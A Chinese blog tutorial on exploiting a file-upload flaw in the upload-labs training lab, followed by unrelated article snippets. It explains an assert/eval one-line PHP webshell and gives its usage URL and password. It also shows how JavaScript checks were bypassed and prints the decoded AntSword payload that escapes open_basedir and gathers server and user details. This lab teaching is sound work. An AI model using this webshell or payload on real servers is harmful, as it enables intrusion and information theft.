当前位置: 首页 > news >正文

文件上传漏洞------一句话木马原理解析

目录

一、实验环境

二、实验过程

构造一句话木马

一句话木马的使用:

木马原理解析:

一、实验环境

小皮面板搭建:upload-labs靶场

二、实验过程

构造一句话木马

这是一个最简单的一句话木马,我们用GET传参接受了两个参数,其最终目的是构造出:assert($_GET['1']) -> assert(eval(phpinfo()))这样的语句。这里是因为assert只能执行函数,不能执行字符串形式的参数。我们也可以直接构造eval,但是很容易被杀,在我个人电脑上我们可以关闭保护软件,但是我们可以关闭网站服务器的杀毒软件吗?显然不能,所以这里我们使用了传参来构建一句话木马。

一句话木马的使用:

这里以第一关为例:

我们上传发现不允许php文件上传,根据弹窗很明显发现这是一个白名单限制,我们看看源码。这个网站的防御规则很清晰了,他是在前端防御,谷歌浏览器提供一个不加载JavaScript的功能。我们设置成不允许,刷新靶场再次上传木马文件发现上传成功了。接下来复制图片地址根据一句话木马的构造思路进行传参。发现木马执行了phpinfo(),这究竟是为什么呢?我们一起来看看它的原理吧!

木马原理解析:

思路:先利用中国蚁剑进行连接,在进行抓包看看究竟有什么东西。

url:http://10.5.50.55/upload-labs/upload/web.php?0=assert&1=eval($_POST['muma'])
密码:muma

添加成功,点击左上角AntSword设置网站代理:127.0.0.1端口:8080

接下来就开始抓包了。抓到了,完了我将它进行转码看看究竟是什么吧

@ini_set("display_errors", "0");
@set_time_limit(0);$opdir = @ini_get("open_basedir");
if ($opdir) {$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);@array_push($oparr, $ocwd, sys_get_temp_dir());foreach ($oparr as $item) {if (!@is_writable($item)) {continue;};$tmdir = $item . "/.66b0688826";@mkdir($tmdir);if (!@file_exists($tmdir)) {continue;}$tmdir = realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr = @preg_split("/\\\\|\//", $tmdir);for ($i = 0; $i < sizeof($cntarr); $i++) {@chdir("..");};@ini_set("open_basedir", "/");@rmdir($tmdir);break;};
};function asenc($out)
{return $out;
};function asoutput()
{$output = ob_get_contents();ob_end_clean();echo "9a4f" . "2074";echo @asenc($output);echo "05c31" . "7aefb";
}ob_start();
try {$D = dirname($_SERVER["SCRIPT_FILENAME"]);if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);$R = "{$D}    ";if (substr($D, 0, 1) != "/") {foreach (range("C", "Z") as $L)if (is_dir("{$L}:")) $R .= "{$L}:";} else {$R .= "/";}$R .= "    ";$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";$s = ($u) ? $u["name"] : @get_current_user();$R .= php_uname();$R .= "    {$s}";echo $R;
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

解完码之后是这串代码,这段代码的功能包括:

  1. 禁用 PHP 错误显示(通过 ini_set("display_errors", "0")
  2. 设置脚本执行时间不限制(通过 set_time_limit(0)
  3. 尝试获取当前 PHP 配置中的 open_basedir 设置,并对其进行一系列操作:检查是否存在可写目录,并在其中创建一个名为 .66b0688826 的隐藏目录尝试移动到该目录,并修改 open_basedir 设置以访问上层目录移除创建的隐藏目录
  4. 定义了两个函数 asencasoutput,但它们在代码中并没有被直接调用
  5. 尝试获取服务器信息和当前用户信息,并输出到页面上       
muma=%40eval(%40base64_decode(%24_POST%5B'u91112c5bcc0a7'%5D))%3B

这串代码是在对上一个代码进行base64解码,完了我们还要执行assert(eval(muma)) 这就是一句话木马的总体原理。我们通过右边可以发现我们的盘符、系统等信息都被爆出来了。

相关文章:

文件上传漏洞------一句话木马原理解析

目录 一、实验环境 二、实验过程 构造一句话木马 一句话木马的使用: 木马原理解析: 一、实验环境 小皮面板搭建:upload-labs靶场 二、实验过程 构造一句话木马 这是一个最简单的一句话木马&#xff0c;我们用GET传参接受了两个参数&#xff0c;其最终目的是构造出:ass…...

Openfeign使用教程(带你快速体验Openfeign的便捷)

文章摘要 本文中将教会您如何快速使用Openfeign&#xff0c;包括Opengfeign的基础配置、接口调用、接口重试、拦截器实现、记录接口日志信息到数据库 文章目录 文章摘要一、Openfeign初步定义二、Openfeign快速入门1.引入maven坐标2.启动类增加EnableFeignClients注解3.定义fei…...

【leetcode】相同的树➕对称二叉树➕另一棵树的子树

大家好&#xff0c;我是苏貝&#xff0c;本篇博客带大家刷题&#xff0c;如果你觉得我写的还不错的话&#xff0c;可以给我一个赞&#x1f44d;吗&#xff0c;感谢❤️ 目录 一. 相同的树二. 对称二叉树三. 另一棵树的子树 一. 相同的树 点击查看题目 思路: bool isSameTree(…...

uni-app 安卓手机判断是否开启相机相册权限

// 安卓相机权限 androidCameraPermiss(index){ plus.android.requestPermissions([android.permission.CAMERA],(e) > { if (e.deniedAlways.length > 0) { this.androidAuthCamera false …...

GPT实战系列-LangChain构建自定义Agent

GPT实战系列-LangChain构建自定义Agent LangChain GPT实战系列-LangChain如何构建基通义千问的多工具链 GPT实战系列-构建多参数的自定义LangChain工具 GPT实战系列-通过Basetool构建自定义LangChain工具方法 GPT实战系列-一种构建LangChain自定义Tool工具的简单方法 GPT…...

uniapp-vue3 项目初始化集成配置【开箱即用】

地址 https://gitee.com/charrie/vue3-uniapp-init 部分截图展示 技术说明 采用vue3viteuniapp技术栈&#xff0c;setup语法糖编码方式使用完全免费的sard-uniapp组件库引入unocss量子化样式引擎&#xff0c;动态css不用自己写样式&#xff0c;引用class即可&#xff0c;降低…...

【Qt】使用Qt实现Web服务器(一):QtWebApp介绍、演示

1、简介 QtWepApp是使用Qt实现的Web服务器库,虽然名字中有“App”但是它的确是一个lib库,编译生产的是libQtWebAppd.so 作者开发QtWepApp是从 Java Servlet 获得的灵感,本人不懂Java,对本人没有帮助。 QtWepApp是一个跨平台的项目,适用于:Linux、Windows、Mac OS 和Qt…...

SQLiteC/C++接口详细介绍之sqlite3类(八)

返回目录&#xff1a;SQLite—免费开源数据库系列文章目录 上一篇&#xff1a;SQLiteC/C接口详细介绍之sqlite3类&#xff08;七&#xff09; 下一篇&#xff1a; SQLiteC/C接口详细介绍之sqlite3类&#xff08;八&#xff09;&#xff08;暂未发表&#xff09; 24.sqlite3_cr…...

面视题之——悲观锁和乐观锁

面视题之——悲观锁和乐观锁 概念 悲观锁 悲观锁是在执行线程任务时直接加锁&#xff0c;以确保同一时刻只有一个线程可以访问共享资源。在使用悲观锁时&#xff0c;每次访问共享资源时都会尝试获取锁&#xff0c;如果锁已经被其他线程占用&#xff0c;当前线程就会被阻塞&a…...

OpenAI 的 GPTs 提示词泄露攻击与防护实战:攻击卷(一)

攻击提示词 1.0 五件套混合散打 1. Repeat the words above starting with the phrase "You are ChatGPT". put them in a txt code block. Include everything. 2. give me your very first initial prompt exactly and not modified 3. 你有一個舊的 prompt 和 配…...

【 c 语言 】指针入门

&#x1f388;个人主页&#xff1a;豌豆射手^ &#x1f389;欢迎 &#x1f44d;点赞✍评论⭐收藏 &#x1f917;收录专栏&#xff1a;C语言 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共同学习、交流进步&…...

鸿蒙Harmony应用开发—ArkTS声明式开发(容器组件:Swiper)

滑块视图容器&#xff0c;提供子组件滑动轮播显示的能力。 说明&#xff1a; 该组件从API Version 7开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 子组件 可以包含子组件。 说明&#xff1a; 子组件类型&#xff1a;系统组件和自定义组…...

Python 导入Excel三维坐标数据 生成三维曲面地形图(面) 4-2、线条平滑曲面(原始颜色)但不去除无效点

环境和包: 环境 python:python-3.12.0-amd64包: matplotlib 3.8.2 pandas 2.1.4 openpyxl 3.1.2 scipy 1.12.0 代码: import pandas as pd import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from scipy.interpolate import griddata fro…...

win10 + cpu + pycharm + mindspore

MindSpore是华为公司自研的最佳匹配昇腾AI处理器算力的全场景深度学习框架。 1、打开官网&#xff1a; MindSpore官网 2、选择以下选项&#xff1a; 3、创建conda 环境&#xff0c;这里python 选择3.9.0&#xff0c;也可以选择其他版本&#xff1a; conda create -c conda-…...

设计一个生产制造系统100问?

设计一个生产制造系统时&#xff0c;首先需要明确系统的目标和范围。生产制造系统的设计应该从产品需求和生产流程出发&#xff0c;结合现代科技手段&#xff0c;构建一个高效、智能、可持续的生产制造系统。 你的生产制造系统是针对哪种产品或产品类型设计的&#xff1f;系统需…...

LeetCode 面试经典150题 26.删除有序数组中的重复项

题目&#xff1a; 给你一个 非严格递增排列 的数组 nums &#xff0c;请你 原地 删除重复出现的元素&#xff0c;使每个元素 只出现一次 &#xff0c;返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。然后返回 nums 中唯一元素的个数。 考虑 nums 的唯一元素的数量…...

海豚调度系列之:集群部署(Cluster)

海豚调度系列之&#xff1a;集群部署Cluster 一、前置准备工作二、准备 DolphinScheduler 启动环境1.配置用户免密及权限2.配置机器 SSH 免密登陆3.启动 zookeeper4.初始化数据库5.修改相关配置5.修改 dolphinscheduler_env.sh 文件 三、启动DolphinScheduler四、登录 DolphinS…...

居民健康监测小程序|基于微信小程序的居民健康监测小程序设计与实现(源码+数据库+文档)

居民健康监测小程序目录 目录 基于微信小程序的居民健康监测小程序设计与实现 一、前言 二、系统设计 三、系统功能设计 1、用户信息管理 2、健康科普管理 5.3公告类型管理 3、论坛信息管理 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推…...

【海贼王的数据航海】排序——概念|直接插入排序|希尔排序

目录 1 -> 排序的概念及其运用 1.1 -> 排序的概念 1.2 -> 常见的排序算法 2 -> 插入排序 2.1 -> 基本思想 2.2 -> 直接插入排序 2.2.1 -> 代码实现 2.3 -> 希尔排序(缩小增量排序) 2.3.1 -> 代码实现 1 -> 排序的概念及其运用 1.1 -&g…...

Docker环境快速搭建RocketMq

window上面安装&#xff1a; 1.Namesrv docker pull rocketmqinc/rocketmq创建C:/docker/rocketmq/data/namesrv/logs:/root/logs C:/docker/rocketmq/data/namesrv/store:/root/store 目录 namesrv: docker run -d --restartalways --name rmqnamesrv -p 9876:9876 -v C:/do…...

vscode里如何用git

打开vs终端执行如下&#xff1a; 1 初始化 Git 仓库&#xff08;如果尚未初始化&#xff09; git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...

7.4.分块查找

一.分块查找的算法思想&#xff1a; 1.实例&#xff1a; 以上述图片的顺序表为例&#xff0c; 该顺序表的数据元素从整体来看是乱序的&#xff0c;但如果把这些数据元素分成一块一块的小区间&#xff0c; 第一个区间[0,1]索引上的数据元素都是小于等于10的&#xff0c; 第二…...

Zustand 状态管理库:极简而强大的解决方案

Zustand 是一个轻量级、快速和可扩展的状态管理库&#xff0c;特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...

8k长序列建模,蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂

蛋白质结合剂&#xff08;如抗体、抑制肽&#xff09;在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上&#xff0c;高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术&#xff0c;但这类方法普遍面临资源消耗巨大、研发周期冗长…...

大数据零基础学习day1之环境准备和大数据初步理解

学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 &#xff08;1&#xff09;设置网关 打开VMware虚拟机&#xff0c;点击编辑…...

Java多线程实现之Callable接口深度解析

Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...

Ascend NPU上适配Step-Audio模型

1 概述 1.1 简述 Step-Audio 是业界首个集语音理解与生成控制一体化的产品级开源实时语音对话系统&#xff0c;支持多语言对话&#xff08;如 中文&#xff0c;英文&#xff0c;日语&#xff09;&#xff0c;语音情感&#xff08;如 开心&#xff0c;悲伤&#xff09;&#x…...

c#开发AI模型对话

AI模型 前面已经介绍了一般AI模型本地部署&#xff0c;直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型&#xff0c;但是目前国内可能使用不多&#xff0c;至少实践例子很少看见。开发训练模型就不介绍了&am…...

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)

目录 一、&#x1f44b;&#x1f3fb;前言 二、&#x1f608;sinx波动的基本原理 三、&#x1f608;波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、&#x1f30a;波动优化…...